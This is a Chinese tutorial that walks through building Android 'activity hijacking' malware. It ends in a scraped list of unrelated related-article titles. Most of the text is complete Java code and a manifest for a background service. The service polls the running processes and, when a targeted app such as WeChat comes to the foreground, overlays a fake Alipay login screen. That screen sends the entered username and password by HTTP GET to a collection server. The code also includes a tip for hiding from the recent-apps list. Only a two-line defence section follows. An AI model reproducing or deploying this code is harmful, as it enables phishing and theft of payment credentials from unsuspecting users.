前言

activity劫持是指当程序运行时,恶意程序检测到前台运行的正是想要劫持的程序,于是立即启动自己的活动,伪造一个一模一样的登录界面并立马呈现给用户,普通用户无法识别这个页面的真实性,于是恶意程序就可以获取到用户输入的敏感信息并上传到自己的服务器。

activity劫持原理

1、在启动activity的时候,加入标志位FLAG_ACTIVITY_NEW_TASK,就能够使它置于栈顶并立马呈现给用户。

2、Android中程序可以枚举当前运行进程而无需声明其他权限。

3、AndroidMainfest配置文件中加入andorid:excludeFromRecent="true"这一项可以防止我们的恶意程序在最近访问列表中出现(这一项实际不影响劫持的发生,只是增加其危险性,防止被发现)

这样,我们就可以启动一个服务,不停的扫描当前运行的进程,一旦发现当前进程正是我们想要劫持的,并运行在前台,我们立马唤起自己的钓鱼活动界面并置于栈顶覆盖掉之前的活动,获得用户敏感信息并发送到服务器。

启动服务有两种实现方式,我们可以启动一个活动,通过活动去启动服务,或者在配置文件中注册一个监听开机广播的权限,然后在广播接收器中启动服务。

activity劫持实现

本文我们只实现通过活动启动服务的方式,毕竟重点是服务代码,第二种方式差别不大,文末给出的参考链接中也有相关实现代码。
1、首先我们编写MainActivity,代码如下:
public class MainActivity extends Activity {  @Override  protected void onCreate(Bundle savedInstanceState) {  super.onCreate(savedInstanceState);  setContentView(R.layout.activity_main);  startService(new Intent(this, HijackingService.class));  Log.i("hijacking", "activity启动劫持service");  }  } 
说明:MainActivity只实现了一个功能,那就是启动HijackingService。

2、编写HijackingApplication类,代码如下:

public class HijackingApplication{  private static List<String> hijackings = new ArrayList();  public static void addProgressHijacked(String paramString){  hijackings.add(paramString);  }  public static void clearProgressHijacked(){  hijackings.clear();  }  public static boolean hasProgressBeHijacked(String paramString){  return hijackings.contains(paramString);  }
}  

说明:这个类的主要功能是,保存已经劫持过的包名,防止我们多次劫持增加暴露风险。

3、编写HijackingService,代码如下:

public class HijackingService extends Service{Handler handler = new Handler();private boolean hasStart = false;HashMap<String, Class<?>> mSadStories = new HashMap();Runnable mTask = new Runnable(){private void hijacking(String paramAnonymousString){//判断是否已经劫持过,对于劫持过的程序跳过if (!HijackingApplication.hasProgressBeHijacked(paramAnonymousString)){Intent localIntent = new Intent(HijackingService.this.getBaseContext(), (Class)HijackingService.this.mSadStories.get(paramAnonymousString));localIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);HijackingService.this.getApplication().startActivity(localIntent);HijackingApplication.addProgressHijacked(paramAnonymousString);Log.w("hijacking", "已经成功劫持");}}@Overridepublic void run() {// TODO Auto-generated method stubActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);  List<RunningAppProcessInfo> appProcessInfos = activityManager.getRunningAppProcesses(); //正在枚举进程for (RunningAppProcessInfo appProcessInfo : appProcessInfos) {  // 如果APP在前台//Log.w("打印出当前的processName", appProcessInfo.processName); if (appProcessInfo.importance == RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {//如果包含在我们需要劫持的map中if (mSadStories.containsKey(appProcessInfo.processName)) {  Log.w("准备劫持", appProcessInfo.processName);  hijacking(appProcessInfo.processName);  } else {  //Log.w("hijacking", appProcessInfo.processName);  }  }  }  handler.postDelayed(mTask, 1000);  }};@Overridepublic IBinder onBind(Intent intent) {// TODO Auto-generated method stubreturn null;}@Override  public void onCreate() {  super.onCreate();  mSadStories.put("com.example.hello", AlipayStoryActivity.class); //初始化需要劫持的包名mSadStories.put("com.tencent.mm", AlipayStoryActivity.class); //初始化需要劫持的包名handler.postDelayed(mTask, 1000); } @Override  public boolean stopService(Intent name) {  hasStart = false;  Log.w("hijacking", "劫持服务停止");  HijackingApplication.clearProgressHijacked();  return super.stopService(name);  }
}

说明:这个类在启动的时候将需要劫持的包名以及其对应的恶意activity保存在map对象中,定期循环遍历进程名,如果未劫持则进行劫持,并将其保存下来。这里我们使用的是测试恶意activityAlipayStoryActivity。
4、编写恶意测试活动activityAlipayStoryActivity

public class AlipayStoryActivity extends Activity {  private EditText name;  private EditText password;  private Button mBtAlipay;  private Button mBtTaobao;  private Button mBtRegister;  private TextView mTvFindpswd;  @Override  protected void onCreate(Bundle savedInstanceState) {  super.onCreate(savedInstanceState);  this.setTheme(android.R.style.Theme_NoTitleBar); setContentView(R.layout.alipay);  mBtAlipay = (Button) findViewById(R.id.alipay_bt_alipay);  mBtTaobao = (Button) findViewById(R.id.alipay_bt_taobao);  mBtRegister = (Button) findViewById(R.id.alipay_bt_register);  mTvFindpswd = (TextView) findViewById(R.id.alipay_findpswd);  mTvFindpswd.setText(Html.fromHtml("[u]找回登录密码[/u]"));  mBtAlipay.setSelected(true);  name = (EditText) findViewById(R.id.input_name);  password = (EditText) findViewById(R.id.input_password);  }  public void onButtonClicked(View v) {  switch (v.getId()) {  case R.id.alipay_bt_login:  HandlerThread handlerThread = new HandlerThread("send");  handlerThread.start();  new Handler(handlerThread.getLooper()).post(new Runnable() {  @Override  public void run() {  // 发送获取到的用户密码  Log.i("hijacking", name.getText().toString());Log.i("hijacking", password.getText().toString());Log.i("hijacking", "支付宝");SendUtil.sendInfo(name.getText().toString(), password  .getText().toString(), "支付宝");  }  });  moveTaskToBack(true);  break;  case R.id.alipay_bt_alipay:  chooseToAlipay();  break;  case R.id.alipay_bt_taobao:  chooseToTaobao();  break;  default:  break;  }  }  private void chooseToAlipay() {  mBtAlipay.setSelected(true);  mBtTaobao.setSelected(false);  name.setHint(R.string.alipay_name_alipay_hint);  mTvFindpswd.setVisibility(View.VISIBLE);  mBtRegister.setVisibility(View.VISIBLE);  }  private void chooseToTaobao() {  mBtAlipay.setSelected(false);  mBtTaobao.setSelected(true);  name.setHint(R.string.alipay_name_taobao_hint);  mTvFindpswd.setVisibility(View.GONE);  mBtRegister.setVisibility(View.GONE);  }
}  

说明:重点我们可以看点击按钮那部分,将获取到的内容调用SendUtil.sendInfo方法发送。我们在这个文件中使用了很多布局文件,大家为了测试方便,也可以自己写一个测试的登录activity
5、编写SendUtil,代码如下:

public class SendUtil{public static void sendInfo(String paramString1, String paramString2, String paramString3){HttpClient httpClient = new DefaultHttpClient();  HttpGet httpGet = new HttpGet("http://10.0.0.33:8080/spring/test/receiver.do?a="+paramString1+"&b="+paramString2+"&c="+paramString3);  try {HttpResponse httpResponse = httpClient.execute(httpGet);Log.i("hijacking", httpResponse.getStatusLine().getStatusCode()+"");} catch (ClientProtocolException e) {// TODO Auto-generated catch blocke.printStackTrace();} catch (IOException e) {// TODO Auto-generated catch blocke.printStackTrace();} }
}

说明:这个类需要添加两个jar包,我使用的是httpclient-4.2.5.jar,一个httpcore-4.2.4.jar
6、编写AndroidManifest.xml文件

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"package="com.example.activityhijacking"android:versionCode="1"android:versionName="1.0" ><uses-permission android:name="android.permission.INTERNET" />  <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /> <uses-sdkandroid:minSdkVersion="19"android:targetSdkVersion="22" /><applicationandroid:allowBackup="true"android:icon="@drawable/ic_launcher"android:label="@string/app_name"android:theme="@style/AppTheme" ><activityandroid:name=".MainActivity"android:label="@string/app_name" ><intent-filter><action android:name="android.intent.action.MAIN" /><category android:name="android.intent.category.LAUNCHER" /></intent-filter></activity><activityandroid:name=".demo.AlipayStoryActivity"android:label="@string/app_name" android:exported="true"></activity><service android:name=".service.HijackingService" /></application></manifest>

说明:这里大家注意修改自己的组件对应包名。

防护

目前,对activity劫持的防护,只能是适当给用户警示信息。一些简单的防护手段就是显示当前运行的进程提示框。
梆梆加固则是在进程切换的时候给出提示,并使用白名单过滤。

参考链接

http://blog.csdn.net/ruingman/article/details/51146152
http://blog.chinaunix.net/uid-16728139-id-4962659.html
http://www.droidsec.cn/%E6%A2%86%E6%A2%86sdks%E8%AF%A6%E7%BB%86%E5%88%86%E6%9E%90%EF%BC%881%EF%BC%89-%E9%98%B2%E7%95%8C%E9%9D%A2%E5%8A%AB%E6%8C%81sdk/

activity劫持学习与复现相关推荐

  1. Androidz之Activity概要学习

    Androidz之Activity概要学习 1.     Activity类概述 Activity(活动)是一个单独的.能获取焦点的,且能与用户交互的东西.所以我们通常在Activity类中的onCr ...

  2. android webview 劫持,安卓包风险安全监测提示存在Activity劫持、WebView远程代码执行,请问怎么解决?...

    挺着急的,请问这个怎么解决 1.Activity劫持 用例名称:Activity劫持 风险系数:高 风险编号:NESUN-2016-82091, CWE-94, 风险描述:攻击者劫持目标Activit ...

  3. 复现计算机论文模型,深度学习模型复现难?看看这篇句子对模型的复现论文

    原标题:深度学习模型复现难?看看这篇句子对模型的复现论文 在碎片化阅读充斥眼球的时代,越来越少的人会去关注每篇论文背后的探索和思考. 在这个栏目里,你会快速 get 每篇精选论文的亮点和痛点,时刻紧跟 ...

  4. 利用九天深度学习平台复现SSA-GAN

    目录 一.算力领取 1.1.领取算力 二.复现SSA-GAN 2.1.创建实例 2.2.下载代码和数据集 2.3.下载预训练的 DAMSM 模型 2.4.环境配置 2.5.训练 最后 Semantic ...

  5. 警惕另类Activity“劫持”

    AVL移动安全团队最近发现一类木马私自发送扣费短信,上传用户隐私到控制服务器,并且采用了一种Activity劫持手段诱骗用户安装和防止卸载,给用户手机安全带来威胁. 诱骗安装 木马被安装后,监听重启, ...

  6. android怎么网络劫持,Android安全——Activity劫持

    一.activity劫持简介 DEFCON-19上公布的https://www.trustwave.com/spiderlabs/advisories/TWSL2011-008.txt android ...

  7. android程序劫持持程序,安卓activity劫持测试工具开发

    一.前言 在日常对Android apk安全测试过程中,有一个测试用例是界面劫持(activity劫持,安卓应用的界面是一层一层的,后启动的应用会在栈顶,显示在最前面),就是恶意apk可以不停枚举进程 ...

  8. win7 dll怎么在xp运行_微信DLL劫持反弹shell复现

    网安引领时代,弥天点亮未来  写在前面: 最近刚好在做PPT的dll劫持测试,现在就随便拿一个程序来练练手.增加一下熟练度.本测试纯属学习测试过程,不可用于非法操作!!! 一.测试环境 工具下载地址: ...

  9. 【推荐算法 学习与复现】-- 逻辑回归算法族 -- LR

    协同过滤仅仅使用有限的用户行为信息,逻辑回归算法模型大多引入用户行为.用户特征.物品特征和上下文特征等,从CF逐步过渡到综合不同特征的机器学习模型. (1)逻辑回归模型 将用户特征(年龄.性别等).用 ...

  10. 6-PACK论文学习及复现记录

    提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 前言 一.基本思想 1.1 创新点 1.2 两个变换 二.实现结构 1.基于注意力机制生成锚点特征 2.生成关键点(分对称类 ...

最新文章

  1. 按键精灵文字识别插件_按键精灵——如何实现办公自由(二)
  2. 远离客户陷阱小故事 转
  3. Github部署+Hexo搭建免费博客 next主题美化
  4. 1008 数组元素右移k位
  5. DotNetNuke(DNN) 中查询所有管理员的SQL语句
  6. css 布局什么时候用百分比_用手机拍视频学会这个布局方法,拍什么都好看
  7. bzoj1597: [Usaco2008 Mar]土地购买
  8. c语言编译器提示隐式声明,在C中使用“隐式声明功能”警告有什么含义?
  9. 局部立体匹配算法介绍及代码实现
  10. Oracle数据库:sql语言结构,数据查询语言DQL,select * from table;算术,别名,连接,去重等操作
  11. vue3 + vite + ts 设置 @ 路径别名
  12. tomcat启动“成功”,但是浏览器无法访问
  13. Ubuntu 20.10 引导修复(boot repair)
  14. Arduino控制WS2812灯带(灯环)
  15. 什么是编程?大道之行也,“编程”为公
  16. MobaXterm 是什么
  17. 浅析能耗监测系统在大型数据中心的应用
  18. HANA 存储过程 基础篇
  19. CSS学习笔记(狂神-完整版)
  20. C# ExecuteReader

热门文章

  1. ValueError: Error initializing torch.distributed using tcp:// rendezvous: port number missing
  2. linux服务器的外网IP查阅方式
  3. 49-从哥尼斯堡七桥问题开始
  4. 分布式和集中式版本控制工具-svn,git,mercurial比较分析
  5. 华为 eNSP启动设备AR1失败 错误代码40
  6. 系统封装失败遇到windows 无法分析或处理
  7. 大学计算机基础教程第12章软件技术基础
  8. 微信支付V3微信公众号支付PHP教程(thinkPHP5公众号支付)/JSSDK的使用
  9. 三星 OMNIA7/I8700 刷机 ROM集合
  10. 『市场基础变量计算』